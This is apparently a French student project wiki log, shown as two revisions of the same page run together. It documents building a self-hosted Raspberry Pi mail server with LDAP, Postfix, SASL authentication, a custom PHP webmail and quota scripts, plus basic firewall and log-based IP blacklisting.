[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-10T15:21:07Z

Tteneur : /* Semaine 19 (08/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
